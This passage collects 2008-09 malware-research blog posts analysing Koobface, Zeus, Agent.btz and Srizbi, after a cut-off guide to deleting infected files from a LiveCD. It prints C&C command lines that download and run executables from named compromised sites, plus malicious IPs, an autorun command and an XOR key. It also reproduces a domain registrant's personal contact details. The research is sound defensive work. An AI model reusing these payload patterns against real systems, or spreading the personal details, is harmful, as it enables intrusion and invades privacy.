In the File Browser, double-click an icon of the mounted partition to inspect the directories and file names on that partition. You should be able to recognize your Windows partition by its contents: navigate to %system% directory and find the file malicious_file.exe. From here, the file can be renamed or deleted, as shown below:

If the malicious file was renamed or deleted successfully, shut down Ubuntu (shown below), remove LiveCD, and power on your computer to start up Windows again – the system should be clean from the malicious file at this stage.

Troubleshooting: What to Do if Volume Mounting Fails

If Ubuntu fails to mount your partition, it will show the following error message:

If you get this error message, then most likely you did not power off Windows properly. A clean way is to shut down Ubuntu, remove LiveCD, start up Windows again, insert LiveCD, power off your computer from Windows in a clean way (e.g. by clicking "Turn Off Computer"), then boot up from the Live CD and repeat Step 2 above.

In some cases, shutting down Windows properly is not possible due to system corruption – e.g. Windows boots up then crashes before you have a chance to shut it down properly, but you still know what files you want to delete.

If powering computer off properly (from Windows) still does not help mounting your Windows partition(s) successfully, you will need to force Ubuntu to do that:

Close all error messages.

Start up the Terminal program – you will need to run a couple of commands in it:

Run the following command to enlist your partitions:

sudo fdisk –l

From the output of this command, take a note on a partition that is marked as bootable (*) and write down its device name. For example, the output below shows that "/dev/sda1" is the device name of the bootable partition – most likely it's the Windows partition that needs to be mounted:

   Device Boot      Start         End      Blocks   Id  System
/dev/sda1   *           1         519     2092576+   7  HPFS/NTFS
/dev/sdb1               1        5099    40957686   2d  Unknown
/dev/sdb2            5100        9725    37158345    7  HPFS/NTFS

Now you'll need to mount your bootable partition and map it to a directory, e.g. "mydisk". But first, create that directory by running another command in Terminal window to create "/media/mydisk" directory (this step is optional):

sudo mkdir /media/mydisk

Finally, instruct Ubuntu to mount your bootable Windows partition:

sudo mount -t ntfs-3g /dev/sda1 /media/mydisk -o force

If the partition was mounted successfully, the output will say:

$LogFile indicates unclean shutdown (0, 1)
WARNING: Forced mount, reset $LogFile.

You may now run File Browser again and check if any of your partitions has changed its icon to the one with a green indicator in it, as shown below:

Repeat Step 3 for the mounted partition to delete the malicious file(s).

"The Road to Hell Is Paved With Good Intentions", Part II

noreply@blogger.com (Sergei Shevchenko) — Mon, 05 Jan 2009 23:56:00 +0000

It's been a while since the previous post discussed commercial "intelligence gathering tool".

It would have seemed ridiculous, if this time it wasn't UK government who thinks it's acceptable to hack into home computers, spread malware via email, log users' keystrokes, or sniff users' traffic, if it "believes" that it is "proportionate" and necessary to prevent or detect serious crime.

Whoever came up with this idea is apparently the follower of Niccolò Machiavelli (1469–1527), a strong believer that "the ends justify the means". Especially when it comes to the fight with paedophiles and terrorists, as if the last two words were doing exceptional job in shutting down one's intellect.

Considering these news follow other ridiculous reports that the UK military will now run nuclear-missile submarines under Windows XP (no, it's not April 1st), one could fairly ask "What exactly is going on in that part of the world?".

How to Defeat Koobface

noreply@blogger.com (Sergei Shevchenko) — Thu, 18 Dec 2008 04:59:00 +0000

As published in the previous blog post, analysis of the current version of Koobface uncovered a very interesting part about it – its "ability" to resolve CAPTCHA protection at the Facebook web site. To put it simply, if Koobface was unable to resolve Facebook’s CAPTCHA protection, it would’ve been unable replicating because in order to submit a new message, one needs to resolve CAPTCHA image first.

Every time Koobface runs into CAPTCHA protection at Facebook, it transfers that image to its command-and-control server. From there, the image is relayed to an army of CAPTCHA resolvers, who work day and night ready to pick up a new image from their profile, solve it, submit an answer, and get paid something like 0.5 cent for the answer.

You wonder if it's financially sustainable?

Think about it this way: according to the World Bank, at least 80% of humanity lives on less than $10 a day. In the same time, web resources like this one, give its users an opportunity to make that kind of money ($9) in three hours by resolving CAPTCHA images relayed to them. Don’t you think the potential army of CAPTCHA resolvers has all the reasons to grow?

Detailed analysis of traffic between Koobface and its command-and-control server allowed tapping into its communication channel and injecting various CAPTCHA images in it to assess response time and accuracy. The results are astonishing – the remote site resolved them all.

But here is a twist: uploading a large number of random CAPTCHA images into its communication channel will load its processing capacity, potentially up to a denial-of-service point. Well, if not that far, then at least it could potentially harm its business model, considering that the cost of resolving all those injected images would eventually be paid by the Koobface gang.

The tapping mechanism is best illustrated with the following scheme:

There was a tool specifically built to upload CAPTCHA images to the Kobface C&C server and receive the responses. It is available for download here (the ZIP file contains a few test images to upload).

The tool opens up an interesting "dialog" with the back-end operators, a dialog with some interesting discoveries.

At first, the response clearly looks like it was produced by automation:

As seen in this example, the automation tried to OCR the image (which contains a very specific Russian word) – it’s very unlikely that a human would have provided such answer.

Trying to submit it images with the provocative phrases had no luck either – the remote server resolves them vigorously – as if it was a bot, or maybe a smart operator instructed to reply as if he or she was a bot:

But given that no automation can presumably handle really complex images – images that are difficult even for humans to resolve, let’s try to submit with the tool the more complex ones. Here are the results:

As seen on the picture, all Facebook’s CAPTCHAs were resolved pretty well.

But here are a couple of bloopers – these images were resubmitted because the original answers were totally wrong:

Let’s see how it withstands Google’s CAPTCHAs. Here is another blooper revealed:

The wrong answers like "edtgted rghf", "edrfb dfbn", "dfgd dfg", and "asdf df" mean it was not an automation. Otherwise, it would have tried to resolve the images at least partially, or maybe provided nonsense for the noise detected in the picture or any other answer suggesting it was a bot. In the end, the wrong answers would have been at least consistent across several attempts.

These wrong answers simply mean someone was hitting the keyboard (check these keys location), giving those pictures up as too complex puzzles that require too much time/attention, in order to proceed to the easier ones.

These results could mean that the back-end CAPTCHA server has a queue of CAPTCHA images to resolve, and in front of that queue there must be an automation that firstly tries to resolve CAPTCHAs automatically, by using optic image recognition techniques. If the automation fails, it then passes the image down into the queue to be further distributed and picked up by an operator to be processed manually. Such relaying obviously has no method to oppose, as it destroys the very meaning of CAPTCHA – to distinguish a bot from a human. By having them eventually processed by humans, the only reason to keep CAPTCHA protection is to make the resolving process as expensive as 0.5 cent per image.

The question is: is it expensive enough to be justified at all? Probably, it’s expensive enough for the kids who build malware out of curiosity or self-determination (compare it with a trivial latch on your window). But it’s nothing for those guys who build malware for any kind of profit (case with Koobface) as more than likely they can afford 0.5 cent per image.

Taking the C&C down? Maybe, but it will rather pop up in a different place the very next day.

A different way of destroying it is via poisoning its traffic with the fake CAPTCHAs that look exactly as the ones that are passed by a valid Koobface worm. In this case, Koobface authors will be paying for every fake CAPTCHA resolved, the ones generated in the lab, not the real-wild-world ones.

Destroying it financially could be a better option in the end.

Zeus Config Decryptor

noreply@blogger.com (Sergei Shevchenko) — Sat, 13 Dec 2008 06:59:00 +0000

The banking trojan Zbot (aka WSNPOEM/Zeus/PRG) is still circulating "in-the-wild" in various modifications.

If you are tracking Zbot submissions at ThreatExpert web site, you might find useful the following tool that decrypts the contents of the configuration files downloaded by this trojan: DecodeZeusConfig.zip.

The decrypted config file will normally contain URLs of additional components it downloads along with the URLs of online banking services that it attacks and bogus HTML fields it attempts to inject into online banking login forms.

For example, analysis of the Zeus config file contents over the last week reveals the targeted URLs of the following online financial services:

Alfa Bank (Russia)

Ameriprise Financial Services (US)

Banca March (Spain)

Bancaja (Spain)

Banco Pastor (Spain)

Banco Popular (Spain)

Banco Santander, S.A. (Spain)

BANESNET S.A. (Spain)

Banesto (Spain)

Bank of America (US)

Barclays Bank (UK)

Barclays Bank, S.A. (Spain)

Cahoot/Abbey National (UK)

Caixa Tarragona (Spain)

Caixanova (Spain)

Caja Espana (Spain)

Caja Extremadura (Spain)

Caja Madrid (Spain)

Caja Madrid Empresas (Spain)

Caja Rural (Spain)

Caja Segovia (Spain)

Cajamurcia (Spain)

Cajasol (Spain)

CajaSur (Spain)

Citibank (US)

Citibank Deutschland Gruppe (Germany)

Citizens Bank (US)

Clydesdale Bank (UK)

comdirect bank AG (Germany)

Dresdner Bank (Germany)

e-gold (US)

ePassporte (Netherlands)

E-port.Ru (Russia)

Fibanc-Mediolanum (Spain)

FIDUCIA IT AG (Germany)

Fifth Third Bank (US)

Halifax/Bank of Scotland (UK)

HSBC Bank (UK)

JPMorgan Chase & Co. (US)

KeyCorp (US)

Kutxa, Caja Gipuzkoa San Sebastian (Spain)

La Caja de Canarias (Spain)

Lloyds TSB (UK)

MDM Bank (Russia)

MoneyMail.Ru (Russia)

National City Bank (US)

norisbank GmbH (Germany)

PayPal, Inc. (US)

RBK Money (Russia)

SunTrust Bank (US)

TD Group Financial Services (Canada)

U.S. Bank (US)

Unicaja (Spain)

Volksbank Rhein-Wupper eG (Germany)

VR-NetWorld eBanking (Germany)

Wachovia Securities (US)

Washington Mutual, Inc. (US)

Wells Fargo Bank (US)

Westpac Banking Corporation (Australia)

Yorkshire Bank (UK)

Intervalhehehe

noreply@blogger.com (Sergei Shevchenko) — Thu, 11 Dec 2008 23:18:00 +0000

According to multiple forum posts, there are a number of people who seem to be infected with a mysterious virus that pops up every 10 minutes or so and displays a message "Intervalhehehe".

This threat is most likely distributed as a cracked version of the popular software WinRAR. Its file is a WinRAR self-extractor (report here) that unpacks and runs WinRAR installer itself, plus a file named explore.exe, which is a trojan horse.

The trojan modifies hosts file to redirect users from google.com, yahoo.com and other legitimate sites into the websites hosted at 61.157.217.210, 123.251.143.110, and 123.16.197.121 and being used to distribute rogue antivirus and antispyware solutions:

This trojan is a Visual Basic program built on a Chinese system.

In some way (mostly in its annoyance, of course) it reminds an old DOS-era virus "Skaji Bebe - Fig Tebe".

Koobface Leaves Victims the Black Spot

noreply@blogger.com (Sergei Shevchenko) — Wed, 10 Dec 2008 02:09:00 +0000

Koobface worm has already been described enough, but a few details about its functionality can still be interesting to the reader. This post is an attempt to crack it to the bottom.

TECHNICAL SUMMARY

Koobface starts from checking if its own file name is %windows%\bolivar[number].exe, where [number] is a decimal number that depends on the build of the worm.

If its file name is not %windows%\bolivar[number].exe, it will copy itself under that name, run that file, drop a temporary batch file (e.g. c:\653ad216543.bat) with the commands to delete its own executable (it can't delete itself while it's running), and quit.

When it runs as %windows%\bolivar[number].exe, it will create the mutex object "4334dfgdfgdf5" in order to make sure that there is only one instance of Koobface running on the system.

It then returns the handle to the foreground window (the window with which the user is currently working) and check if that window is Internet Explorer. If that's the case, it will create an object that will be an invisible instance of Internet Explorer. It will then use that object to navigate across Facebook site and parse its contents.

The worm drops and runs file c:\1.reg in order to create the values:

CLSID"="{25336920-03F9-11cf-8FD0-00AA00686F13}
Extension"=".xml
Encoding"=hex:08,00,00,00

in the registry key:

HKEY_CLASSES_ROOT\Mime\Database\Content Type\application/xhtml+xml

These registry modifications will force Internet Explorer to display application/xhtml+xml MIME type pages without a download prompt.

Koobface retrieves the default system directory for storing cookies by querying the value "Cookies" from the registry key:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders

Next, it enumerates all cookies looking for the ones created by facebook.com, myspace.com, and bebo.com websites.

Koobface then makes a DNS query to find out what IP address corresponds to the name y171108.com. For different variants this domain name is different, but its format appears to be constant: [letter][date].com, e.g. a22092008.com, f071108.com, z13092008.com.

The name server replies the DNS request with an IP 58.241.255.37:

This IP address is the command and control (C&C) server for Koobface - it accepts data that Koobface collects on a compromised host and replies back instructions of what Koobface should do.

The collected data is delivered by Koobface in the POST request submitted to /fb/first.php resource of C&C server. The POST string is assembled from the parameters - like these:

f=0&a=13441600&v=28&c=0&s=fb&l=&ck=0&c_fb=0&c_ms=0&c_hi=0&c_be=0&c_fr=0&c_yb=0

For example, "ck" parameter is equal to "0" if Koobface could not find facebook.com cookie, or "1" if the cookie was found.

BACKDOOR COMMANDS

The C&C returns back instructions that may depend on the data that Koobface delivers to the C&C server - these can be considered backdoor commands which also makes Koobface a backdoor trojan.

Some of the commands that Koobface can be instructed to perform are listed below:

FBTARGETPERPOST

TINYURL

SHARELINK

MPOST

INVITE

PARAMS

SWFMODE

UPDATE

RESET

WAIT

START

STARTIMG

DOMAIN_B

TITLE_B

TEXT_B

LINKTEXT_B

DOMAIN_M

TITLE_M

TEXT_M

LINKTEXT_M

LINK_M

DOMAIN_C

TEXT_C

LINKTEXT_C

STARTONCEIMG

EXIT

Those commands that require parameters will have them appended and delimited with the "|" character. For example, C&C may return these commands:

START|http://www.teamtga.com/images/games/gif/tinyproxy23.exe
RESET
FBTARGETPERPOST|20
#BLACKLABEL

The first command is START - Koobface will perform it this way:

it will create a temporary file c:\tmark25[random_number].dat

it will then download an executable file from the specified URL saving it as the temporary file

it will then copy that file as %temp%\tt_[random_number].exe, then run it

The aforementioned executable will be downloaded either from www.teamtga.com or from www.gameland.ro - according to the parameter returned at the time of this writing. A couple of days ago this was www.aibcvienna.org. A few hours from now it could be a different URL.

The C&C must have an updatable database of compromised web servers from which the Koobface client will be instructed to download and run executables. Once one compromised site is cleaned or taken down, the C&C database will be updated to feed a different URL to its clients.

On RESET command, Koobface will delete the temporary files and re-start its workflow.

On STARTIMG command, it will download a file from the specified URL, save it as c:\tmark25[random_number].dat, decrypt it, parse the decrypted contents, locate URL inside it, then download an executable from that URL, save it as %temp%\tt_[random_number].exe, and finally run that executable.

On UPDATE command, the worm will download an updated build from the specified URL, save it as %temp%\tt_[random_number].exe, run it and quit.

On EXIT, it will simply quit.

Other commands may specify additional global parameters or modes.

REPLICATION

Before it continues, Koobface makes a final query to its C&C server's resource achcheck.php.

If the server responds ACH_OK, the worm goes ahead.

The user-agent string that identifies the client browser is set by Koobface to:
User-Agent: Mozilla/5.01 (Windows; U; Windows NT 5.2; ru; rv:1.9.0.1) Gecko/20040201 Firefox/3.0.3

The user-agent language tag, that indicates the language for which the client had been localized, is "ru": Russian.

This explains #BLACKLABEL token returned by the C&C server - it's the result of translation of The Black Spot term (from the novel Treasure Island by Robert Louis Stevenson) into Russian, and then back into English.

Once the victim is "given the Black Spot", Koobface locates the cookie left by facebook.com in the cookie cache, then reads it and uses its contents to connect to Facebook website.

For example, if the cookie's contents starts from:
datr
1228869768-5ed159061fd5727f027e6c6678531c19ef53163bfe7ebcbb0203b
facebook.com/
9216
832238592
...

then the GET request submitted by Koobface will look like shown below (check the "datr" value - it is taken from the cookie):

This allows Koobface to connect to Facebook account by using current user's login session. Thus, it does not need to know user's login credentials. As long as the user stays connected to the Facebook account, the worm freely accesses it as if it was the user.

Once connected, the worm opens up several Facebook resources such as home.php, profile.php, group.php. It navigates to the page http://www.facebook.com/friends/?view=everyone in order to obtain the list of the user's friends.

If it locates a friend, it submits a POST request to its C&C server's resource /fb/gen.php. The POST request contains details similar to the ones below:

f=0&a=13441600&v=28&c=0&s=fb&l=&hav=&hname=[encrypted_string]

The C&C server responds the following parameters:

TITLE_M|Cool nice video with you.
TEXT_M|LOL
LINK_M|http://geocities.com/carlosbecker54/?4bchce6c9a=1851a448d70904485af377d941bca0f4

These parameters is a template for a new message that Koobface should send to the contacts. It then navigates to the page /inbox/?compose within Facebook website, composes a new message and submits it from the user's name:

Before the message is dispatched, Facebook returns CAPTCHA challenge to resolve. This security measure is implemented to protect users from threats like Koobface.

In the real test, Facebook.com asked the Koobface to resolve the CAPTCHA image that reads "suffer accorn" - this image was pretty noisy for image recognition algorithms to resolve it successfully. But Koobface does not attempt to resolve it by itself. It submits this image to its C&C server. The server replies correct answer in about 34 seconds. Once the answer is received, Koobface submits the message via Facebook's compromised account including correct CAPTCHA answer:

PUTTING IT TO A REAL TEST

In order to test Koobface replication in action, there were 2 fake accounts created: "Eno Koob Acef" and "Owt Koob Acef" ("Face Book One" and "Face Book Two" reversed). Both accounts were mutually declared as friends.

If the computer logged on to the second account is compromised with Koobface, the worm will use its login session, it will locate "Eno Koob Acef" as its friend, and it will send it a message.

The image below shows the inbox of the first account ("Eno Koob Acef") - it contains a new message from the 2nd account ("Owt Koob Acef") with the subject "Cool nice video with you."

When the user clicks the new message link, Facebook.com will open that message:

The message contains a URL that points to a private page hosted at geocities.com web site. When that link is clicked, the browser will redirect the message recipient to the following page:

The page has a header "Secret video by [infected_user_name] - Flash Player Installation". It even has fake testimonials. The page suggests installing a newer version of Flash Player, which of course is not a Flash Player. It's a file called flash_update.exe, and it's a new copy of Koobface. If the Facebook user runs it thinking it's a Flash Player update, the worm will now replicate to this user's friends the same manner it did before, and so on, and so on.

CONCLUSION

At one point of its execution, Koobface submitted GET request to facebook.com:
/campaign/impression.php?campaign_id=[long_number]

The purpose of this request is not quite clear. It might potentially be related to some advertising program within Facebook (e.g. similar to Google AdSense), but this is a guess...

Nevertheless, if it's about the money generated by clicking ads by Koobface, the ads that are allocated by Facebook within other peoples' profiles, then its business model becomes more evident. It may even potentially include manual labor in breaking the CAPTCHAs (it's not free) - at least it explains a 34 seconds inter-server delay in solving it.

Escort Agency Serves Naughty Trojan

noreply@blogger.com (Sergei Shevchenko) — Tue, 09 Dec 2008 02:20:00 +0000

ThreatFire team has busted another "in-the-wild" ZBot trojan.

Interesting detail this time is that the trojan is currently hosted at the server with the IP 92.48.71.14 - this is a web server of "London Escorts & Escort Agencies" and its domain name is escortcitylondon.com.

When run, the trojan downloads an encrypted configuration file from 193.27.246.190. The config file instructs the bot to update itself right from the escort site mentioned above.

The trojan attempts to deactivate a number of AV products and firewalls by deleting their registry keys, terminating the processes and modifying the hosts file.

ZBot attempts to steal the contents of online banking forms of the following banks:

Bank of America

CheBanca!

Banca Mediolanum

The targeted banking sites can be seen in its memory contents:

Full ThreatExpert report is available here.

Beware Christmas Promotions From Coca Cola

noreply@blogger.com (Sergei Shevchenko) — Wed, 03 Dec 2008 23:47:00 +0000

A new mass-mailing worm is making its rounds by promoting a Hallmark e-Card, McDonald’s Coupon, or Coca Cola Christmas Promotion.

Full worm description (manual analysis) is provided here.

Automated threat analysis generated this write-up.

ThreatExpert automation tricked this threat with several intentionally implanted fake email contacts (such as Rusty Carr, Easton West, Justin Case and others). As soon as this threat picked up one of those contacts and attempted to submit an email to that person via the ThreatExpert’s emulated network services (with no traffic ever leaving the sandbox), it was immediately classified as mass-mailer.

Agent.btz - A Threat That Hit Pentagon

noreply@blogger.com (Sergei Shevchenko) — Sun, 30 Nov 2008 13:30:00 +0000

According to this publication, the senior military leaders reported the malware breach incident that affected the U.S. Central Command network, including computers both in the headquarters and in the combat zones.

The threat involved into this incident is referred as Agent.btz. This is a classification from F-Secure. Other vendors name this threat mostly as Autorun. Some of the aliases assigned to this threat might seem confusing. There is even a clash with another threat that is also detected as Agent.btz by another vendor – but that's a totally different threat with different functionality. This post is about F-Secure-classified Agent.btz – the one that was involved into the aforementioned incident.

At the time of this writing, ThreatExpert system has received and processed several different samples of this threat – further referred as Agent.btz. All these builds exhibit common functionality.

Agent.btz is a DLL file. When loaded, its exported function DllEntryPoint() will be called automatically. Another exported function of this DLL, InstallM(),is called during the initial infection stage, via a command-line parameter for the system file rundll32.exe.

Infection Vector

The infection normally occurs via a removable disk such as thumb drive (USB stick) or any other external hard drive. Once a removable disk is connected to a computer infected with Agent.btz, the active malware will detect a newly recognized drive. It will drop its copy on it and it will create autorun.inf file with an instruction to run that file. When a clean computer recognizes a newly connected removable drive, it will (by default) detect autorun.inf file on it, it will then open it and follow its instruction to load the malware.

Another infection vector: when a clean computer attempts to map a drive letter to a shared network resource that has Agent.atz on it and the corresponding autorun.inf file, it will (by default) open autorun.inf file and follow its instruction to load the malware. Once infected, it will do the same with other removable drives connected to it or other computers in the network that attempt to map a drive letter to its shared drive infected with Agent.atz – hence, the replication.

The autorun.inf file it creates contains the following command to run rundll32.exe:

rundll32.exe .\\[random_name].dll,InstallM

Functionality

When Agent.btz DLL is loaded, it will decrypt some of the strings inside its body. Agent.btz file is not packed. The strings it decrypts are mostly filenames, API names, registry entries, etc.

After decrypting its strings, Agent.btz dynamically retrieves function pointers to the following kernel32.dll APIs: WriteProcessMemory(), VirtualAllocEx(), VirtualProtectEx(). It will need these APIs later to inject malicious code into Internet Explorer process.

Agent.btz spawns several threads and registers window class "zQWwe2esf34356d".

The first thread will try to query several parameters from the values under the registry key:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\StrtdCfg

Some of these parameters contain such details as time out periods, flags, or the name of the domain from which the additional components can be downloaded.

The first thread will spawn 2 additional threads. One of them will wait for 5 minutes, and then it will attempt to download an encrypted binary from the domain specified in the parameters.

For example, it may attempt to download the binaries from these locations:

http://biznews.podzone.org/update/img0008/[random digits].jpg

or

http://worldnews.ath.cx/update/img0008/[random digits].jpg

The downloaded binary will be saved under the file name $1F.dll into the temporary directory.

Once the binary is saved, Agent.btz signals its threads with "wowmgr_is_loaded" event, saves new parameters into the registry values under the key "StrtdCfg", loads Internet Explorer process, decrypts the contents of the downloaded binary, injects it into the address space of Internet Explorer and then spawn a remote thread in it.

At the time of this writing the contents of the binary is unknown as the links above are down. Thus, it’s not known what kind of code could have been injected into the browser process. The only assumption can be made here is that the remote thread was spawned inside Internet Explorer process in order to bypass firewalls in its attempt to communicate with the remote server.

Installation

Agent.btz drops its copy into %system% directory by using a random name constructed from the parts of the names of the DLL files located in the %system% directory.

It registers itself as an in-process server to have its DLL loaded with the system process explorer.exe. The CLSID for the in-process server is also random - it is produced by UuidCreate() API.

This threat may also store some of its parameters by saving them into the values nParam, rParam or id under the system registry key below:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashImage

On top of that, Agent.btz carries some of its parameters in its own body – stored as an encrypted resource named CONFIG. Agent.btz locates this resource by looking for a marker 0xAA45F6F9 in its memory map.

File wmcache.nld

The second spawned thread will wait for 10 seconds. Then, it’ll save its parameters and some system information it obtains in an XML file %system%\wmcache.nld.

The contents of this file is encoded by XOR-ing it with the following mask:

1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs923HL34x2f5cvd0fk6c1a0s

Below is the decoded fragment of the XML file, provided as example:

<?xml version="1.0" encoding="unicode"?>
<Cfg>
<Ch>
<add key="Id" value="3024688254" />
<add key="PVer" value="Ch 1.5" />
<add key="Folder" value="img0008" />
<add key="Time" value="29:11:2008 18:44:46" />
<add key="Bias" value="4294967285" />
<add key="PcName" value="%ComputerName%" />
<add key="UserName" value="%UserName%" />
<add key="WinDir" value="%windir%" />
<add key="TempDir" value="%temp%" />
<add key="WorkDir" value="%system32%" />
<add key="Cndr" value="0" />
<add key="List" value="">
<add key=" 0" value="2" />
</add>
<add key="NList" value="">
</add>
</Ch>
...
</Cfg>

Besides the basic system information above, Agent.btz contains the code that calls GetAdaptersInfo() and GetPerAdapterInfo() APIs in order to query network adapter’s IP and MAC address, IP addresses of the network adapter’s default gateway, primary/secondary WINS, DHCP and DNS servers. The collected network details are also saved into the log file.

File winview.ocx

The second spawned thread will log threat activity into the file %system32%\winview.ocx.

This file is also encrypted with the same XOR mask. Here is the decrypted example contents of that file:

18:44:44 29.11.2008 Log begin:
18:44:44 Installing to C:\WINDOWS\system32\[random_name].dll
18:44:44 Copying c:\windows\system32\[threat_file_name].dll to C:\WINDOWS\system32\[random_name].dll (0)
18:44:44 ID: {7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}
18:44:44 Creating Software\Classes\CLSID\{7761F912-4D09-4F09-B7AF-95F4173120A6}\InprocServer32\
18:44:44 Set Value C:\WINDOWS\system32\[random_name].dll
18:44:44 Creating SOFTWARE\Microsoft\Windows\CurrentVersion\ShellServiceObjectDelayLoad\
18:44:44 Native Id: 00CD1A40
18:44:44 Log end.

The thread will be saving its parameters and system information into the aforementioned encrypted XML file in the loop – once in every 24 hours.

File mswmpdat.tlb

The original thread will then attempt to start 2 processes: tapi32d.exe and typecli.exe – these attempts are logged. Whenever Agent.btz detects a newly connected removable disk, it will also log the device details into the same log file %system%\mswmpdat.tlb.

The contents of this log file is encrypted the same way – here is the decrypted fragment of it:

18:44:45 29.11.2008 Log begin:
18:44:45 Creating ps C:\WINDOWS\system32\tapi32d.exe (2)
18:44:45 Creating ps C:\WINDOWS\system32\typecli.exe (2)
18:44:45 Log end.
19:02:48 29.11.2008 Log begin:
19:02:49 Media arrived: "D:" Label:"" FS:FAT SN:00000000
19:02:49 Log end.

It is not clear what these 2 files are: tapi32d.exe and typecli.exe - the analyzed code does not create them. It is possible however that the missing link is in the unknown code it injects into Internet Explorer which can potentially download those files.

Files thumb.db

When Agent.btz detects a new drive of the type DRIVE_REMOVABLE (a disk that can be removed from the drive), it attempts to create a copy of the file %system%\1055cf76.tmp in the root directory of that drive as thumb.db.

In opposite, if the newly connected drive already contains file thumb.db, Agent.btz will create a copy of that file in the %system% directory under the same name. It will then run %system%\thumb.db as if it was an executable file and then delete the original thumb.db from the connected drive.

The analyzed code does not create 1055cf76.tmp, but if it was an executable file downloaded by the code injected into Internet Explorer (as explained above), then it would have been passed into other computers under the name thumb.db. Note: an attempt to run a valid thumb.db file, which is an OLE-type container has no effect.

Files thumb.dd and mssysmgr.ocx

Agent.btz is capable to create a binary file thumb.dd on a newly connected drive. The contents of this file starts from the marker 0xAAFF1290 and is followed with the individual CAB archives of the files winview.ocx (installation log), mswmpdat.tlb (activity log), and wmcache.nld (XML file with system information).

When Agent.btz detects a new drive with the file thumb.dd on it (system info and logs collected from another computer), it will copy that file as %system%\mssysmgr.ocx.

This way, the locally created files do not only contain system and network information collected from the local host, but from other compromised host (or hosts) as well.

Srizbi's Domain Calculator

noreply@blogger.com (Sergei Shevchenko) — Fri, 28 Nov 2008 14:14:00 +0000

This write-up is a follow-up to an excellent research conducted by Julia Wolf from FireEye that gives an insight into the algorithm used by Srizbi bot to calculate the domain name of its controller.

A general ability to predict what domain names could be used by any given variant of Srizbi at any given date could potentially lead to blocking those domains from registration so that the authors of Srizbi would be left out of control of their botnet.

Considering the number of variants of Srizbi and the complexity of its obfuscation technique used by its kernel mode driver, it'd be nice to have a helper tool to get the domain list quicker – so let's get to business.

As Julia mentioned in her post, FireEye analyzed hundreds of Srizbi samples and came up with 55 different "magic numbers" used by all those samples.

That "magic number" is a 4-byte value, which can be considered a unique key for every Srizbi botmaster, a buyer of Srizbi kit, or just a unique key for every new release of Srizbi generation/build, depending on its business model. Every key will produce a different set of domain names. Thus, it allows one botmaster with one key to keep his Srizbi segment independent from the segments controlled by other botmasters.

It's not clear yet if the domain generation algorithm itself varies from one generation to another. For simplicity, let's assume that the algorithm stays the same.

If the algorithm is consistent, it means that it can be replicated in the form of a domain name calculator. All it would have to take on its input is a key (the "magic number") and it would then generate on its output all possible domain names for the different dates – the same way the real Srizbi sample does if it has the same key.

Before we go into the calculation algorithm itself, let's refresh a few approaches that might help to obtain the key from a given Srizbi sample.

Srizbi infection starts from a dropper that creates and then loads a kernel mode driver. As its pretty common these days, the driver uses severely obfuscated code – if you choose to debug it, then it might be a long-long way to get it anywhere near. Once loaded, the driver hides its own file and the associated registry entries via a set of hooks in the kernel structures. For start, it could be easier to run the dropper in the virtual environment of your choice and then locate and dump its driver from kernel memory.

The following image demonstrates how the Rootkit Unhooker tool can be used to locate and dump Srizbi driver (it fails to copy the file because of the hooks).

Please note that Srizbi driver can be found by its name (2-3 random letters, followed by 2 random digits, followed by "sys") and by filesize (about 350Kb).

The dumped driver can now be loaded into the disassembler. It might help to load it as a binary file (not a PE-file) with the loading offset specified as the base address reported by Rootkit Unhooker (e.g. 0xF9686000).

Once the dump is loaded and disassembled, its domain generation algorithm can now be found easily - it's not obfuscated anymore as the driver has deobfuscated itself already.

In order to comment those variable pointers that have their addresses outside the dump, it might help to get back to Rootkit Unhooker and dump relevant memory region as shown below:

On the picture above, an unknown pointer at the address 0xF789C82C in the listing contains the value 0x817863B0 – that address is beyond the scope of the driver dump (it was populated during run-time). By dumping the 32Mb memory region from kernel starting from 0x80000000, and loading it into a hex-viewer, the dump file contents can now be referenced by file offset, e.g. by going to its offset at 0x017863B0 one would clearly see a string "qwerty.." at that offset, thus the string pointer in the assembler listing can now be renamed into a meaningful alias.

Note: the double frame in the picture above indicates the key ("magic number") we’re after.

Having full domain generation algorithm at hand, it can now be copy-pasted into a newly created VC++ project with inline assembler code.

This new code can now be compiled and run in order to generate domain names the same way Srizbi does. The benefit it provides is that it can conveniently be stepped through and studied, it can be modified to use different parameters such as dates and the key itself.

Full source code of such calculator is provided here. It can be compiled with any VC++ builder (from 6.0 and up).

When run, the calculator will generate domain names for all dates in 2008 and 2009. The user of this code can then extend the dates or replace the hard-coded key with a variable controlled by a command-line switch.

Now, let's have a look at the partial listing produced by the tool.

Since 25 till 27 November 2008, there are 4 generated domain names:

yqsqsqyg.com

aqiqiqaf.com

qqrqrqqd.com

yqgqgqys.com

Let's take a random date in the future – e.g. 15 December 2008. For that date, the domain names in the listing are:

aqueufor.com

yqdtdswu.com

qqrurppp.com

aqpopied.com

All we have to do now is to black-box Srizbi with the active sniffer on to see what DNS queries it generates in reality.

System date: 27 November 2008:

System date: 15 December 2008:

For both dates the results are consistent with the tool.

It is interesting that the domain name yqsqsqyg.com is already registered to:

Registrant:
Ulugbek Asatopov
Bestekar sokak, 29
ka, 06080
Ankara, AN ---
TR
+9 312 419 90 01

Domain Name: YQSQSQYG.COM

Record last updated 11-27-2008 06:32:39 PM
Record expires on 11-24-2009
Record created on 11-24-2008

Domain servers in listed order:
NS0.DIRECTNIC.COM 69.46.233.245
NS1.DIRECTNIC.COM 69.46.234.245

Thus, someone has registered the domain one day before all Srizbi bots with the same key (which could be an entire segment of Srizbi) started querying it for new SPAM templates. The domain record was last updated on 27 November - the last day when Srizbi bots were still using this domain name. Compelling accuracy, isn't it?

Morro Antivirus?

noreply@blogger.com (Sergei Shevchenko) — Fri, 21 Nov 2008 04:11:00 +0000

Press Release

McColo - Who Was Behind It?

noreply@blogger.com (Sergei Shevchenko) — Mon, 17 Nov 2008 12:01:00 +0000

Last week we all witnessed the shutdown of the hosting provider McColo that was widely known for its affiliation with cyber criminals.

An attempt to understand what McColo business was and who stood behind it led to some interesting discoveries.

According to the evidence mined from multiple underground forums, McColo company was established by a 19-year old Moscow student. His name was Nikolai and his nickname was Kolya-McColo - hence, the name of his "business".

